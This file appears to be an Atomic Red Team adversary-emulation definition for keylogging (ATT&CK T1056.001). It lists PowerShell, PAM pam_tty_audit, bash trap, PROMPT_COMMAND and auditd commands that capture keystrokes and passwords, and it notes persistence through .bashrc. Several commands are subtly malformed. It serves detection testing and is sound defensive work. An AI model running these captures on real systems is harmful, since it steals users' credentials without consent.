attack_technique: T1056.001
display_name: 'Input Capture: Keylogging'
atomic_tests:
- name: Input Capture
  auto_generated_guid: d9b633ca-8efb-45e6-b838-70f595c6ae26
  description: |
    Utilize PowerShell and external resource to capture keystrokes
    [Payload](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056.001/src/Get-Keystrokes.ps1)
    Provided by [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1)

    Upon successful execution, Powershell will execute `Get-Keystrokes.ps1` and output to key.log.
  supported_platforms:
  - windows
  input_arguments:
    filepath:
      description: Name of the local file, include path.
      type: Path
      default: $env:TEMP\key.log
  executor:
    command: |
      Set-Location $PathToAtomicsFolder
      .\T1056.001\src\Get-Keystrokes.ps1 -LogPath #{filepath}
    cleanup_command: |
      Remove-Item $env:TEMP\key.log -ErrorAction Ignore
    name: powershell
    elevation_required: true
- name: Living off the land Terminal Input Capture on Linux with pam.d
  auto_generated_guid: 9c6bdb34-a89f-4b90-acb1-5970614c711b
  description: |
    Pluggable Access Module, which is present on all modern Linux systems, generally contains a library called pam_tty_audit.so which logs all keystrokes for the selected users and sends it to audit.log.  All terminal activity on any new logins would then be archived and readable by an adversary with elevated privledges.

    Passwords hidden by the console can also be logged, with 'log_passwd' as in this example.  If root logging is enabled, then output from any process which is later started by root is also logged, even if this policy is carefully enabled (e.g. 'disable=*' as the initial command).
   
    Use 'aureport --tty' or other audit.d reading tools to read the log output, which is binary.  Mac OS does not currently contain the pam_tty_audit.so library. 
  dependencies:
  - description: |
      Checking if pam_tty_audit.so is installed
    prereq_command: |
      test -f '/usr/lib/pam/pam_tty_audit.so -o  /usr/lib64/security/pam_tty_audit.so'
    get_prereq_command: |
      echo "Sorry, you must install module pam_tty_audit.so and recompile, for this test to work"
  supported_platforms:
  - linux
  executor:
    command:
      if sudo test -f /etc/pam.d/password-auth; then sudo cp /etc/pam.d/password-auth /tmp/password-auth.bk; fi;
      if sudo test -f /etc/pam.d/system-auth; then sudo cp /etc/pam.d/system-auth /tmp/system-auth.bk; fi;
      sudo touch /tmp/password-auth.bk
      sudo touch /tmp/system-auth.bk
      sudo echo "session    required    pam_tty_audit.so enable=* log_password" >> /etc/pam.d/password-auth
      sudo echo "session    required    pam_tty_audit.so enable=* log_password" >> /etc/pam.d/system-auth
    cleanup_command: |
      sudo cp -f /tmp/password-auth.bk /etc/pam.d/password-auth
      sudo cp -f /tmp/system-auth.bk /etc/pam.d/system-auth
    name: sh
    elevation_required: true
- name: Logging bash history to syslog
  auto_generated_guid: 0e59d59d-3265-4d35-bebd-bf5c1ec40db5
  description: |
    There are several variables that can be set to control the appearance of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents of these variables are executed as if they had been typed on the command line. The PROMPT_COMMAND variable "if set" will be executed before the PS1 variable and can be configured to write the latest "bash history" entries to the syslog.

    To gain persistence the command could be added to the users .bashrc or .bash_aliases or the systems default .bashrc in /etc/skel/ 
  supported_platforms:
    - linux
  dependency_executor_name: sh 
  dependencies: 
    - description: |
        This test requires to be run in a bash shell and that logger and tee are installed.
      prereq_command: | 
        if [ "$(echo $SHELL)" != "/bin/bash" ]; then echo -e "\n***** Bash not running! *****\n"; exit 1; fi
        if [ ! -x "$(command -v logger)" ]; then echo -e "\n***** logger NOT installed *****\n"; exit 1; fi
        if [ ! -x "$(command -v tee)" ]; then echo -e "\n***** tee NOT installed *****\n"; exit 1; fi
      get_prereq_command: | 
        echo ""
  executor:
    name: sh
    elevation_required: true
    command: | 
      PROMPT_COMMAND='history -a >(tee -a ~/.bash_history |logger -t "$USER[$$] $SSH_CONNECTION ")'
      echo "\$PROMPT_COMMAND=$PROMPT_COMMAND"
      tail /var/log/syslog
    cleanup_command: | 
      unset PROMPT_COMMAND
- name: Bash session based keylogger
  auto_generated_guid: 7f85a946-a0ea-48aa-b6ac-8ff539278258
  description: |
    When a command is executed in bash, the BASH_COMMAND variable contains that command. For example :~$ echo $BASH_COMMAND = "echo $BASH_COMMAND". The trap command is not a external command, but a built-in function of bash and can be used in a script to run a bash function when some event occurs. trap will detect when the BASH_COMMAND variable value changes and then pipe that value into a file, creating a bash session based keylogger. 

    To gain persistence the command could be added to the users .bashrc or .bash_aliases or the systems default .bashrc in /etc/skel/ 
  supported_platforms:
    - linux
  dependency_executor_name: sh 
  dependencies: 
    - description: |
        This test requires to be run in a bash shell
      prereq_command: | 
        if [ "$(echo $SHELL)" != "/bin/bash" ]; then echo -e "\n***** Bash not running! *****\n"; exit 1; fi
      get_prereq_command: | 
        echo ""
  input_arguments:
    output_file:
      name: output_file
      description: File to store captured commands
      type: String
      default: /tmp/.keyboard.log
  executor:
    name: sh
    elevation_required: false 
    command: | 
      trap 'echo "$(date +"%d/%m/%y %H:%M:%S.%s") $USER $BASH_COMMAND" >> #{output_file}' DEBUG
      echo "Hello World!"
      cat #{output_file}
    cleanup_command: | 
      rm #{output_file}
- name: SSHD PAM keylogger
  auto_generated_guid: 81d7d2ad-d644-4b6a-bea7-28ffe43becca
  description: |
    Linux PAM (Pluggable Authentication Modules) is used in sshd authentication. The Linux audit tool auditd can use the pam_tty_audit module to enable auditing of TTY input and capture all keystrokes in a ssh session and place them in the /var/log/audit/audit.log file after the session closes.
  supported_platforms:
    - linux
  dependency_executor_name: sh 
  dependencies: 
    - description: |
        This test requires sshd and auditd
      prereq_command: | 
        if [ ! -x "$(command -v sshd)" ]; then echo -e "\n***** sshd NOT installed *****\n"; exit 1; fi
        if [ ! -x "$(command -v auditd)" ]; then echo -e "\n***** auditd NOT installed *****\n"; exit 1; fi
      get_prereq_command: | 
        echo ""
  input_arguments:
    user_account:
      description: Basic ssh user account for testing.
      type: String
      default: ubuntu
  executor:
    name: sh
    elevation_required: true 
    command: | 
      cp -v /etc/pam.d/sshd /tmp/
      echo >> "session required pam_tty_audit.so disable=* enable=* open_only log_passwd"
      systemctl restart sshd
      systemctl restart auditd
      ssh #{user_account}@localhost 
      whoami
      sudo su
      whoami
      exit
      exit
    cleanup_command: | 
      cp -fv /tmp/sshd /etc/pam.d/
- name: Auditd keylogger
  auto_generated_guid: a668edb9-334e-48eb-8c2e-5413a40867af
  description: |
    The linux audit tool auditd can be used to capture 32 and 64 bit command execution and place the command in the /var/log/audit/audit.log audit log. 
  supported_platforms:
    - linux
  dependency_executor_name: sh 
  dependencies: 
    - description: |
        This test requires sshd and auditd
      prereq_command: | 
        if [ ! -x "$(command -v auditd)" ]; then echo -e "\n***** auditd NOT installed *****\n"; exit 1; fi
      get_prereq_command: | 
        echo ""
  executor:
    name: sh
    elevation_required: true 
    command: | 
      auditctl -a always,exit -F arch=b64 -S execve -k CMDS 
      auditctl -a always,exit -F arch=b32 -S execve -k CMDS
      whoami; ausearch -i --start $(date +"%d/%m/%y %H:%M:%S") 
    cleanup_command: | 
      systemctl restart auditd
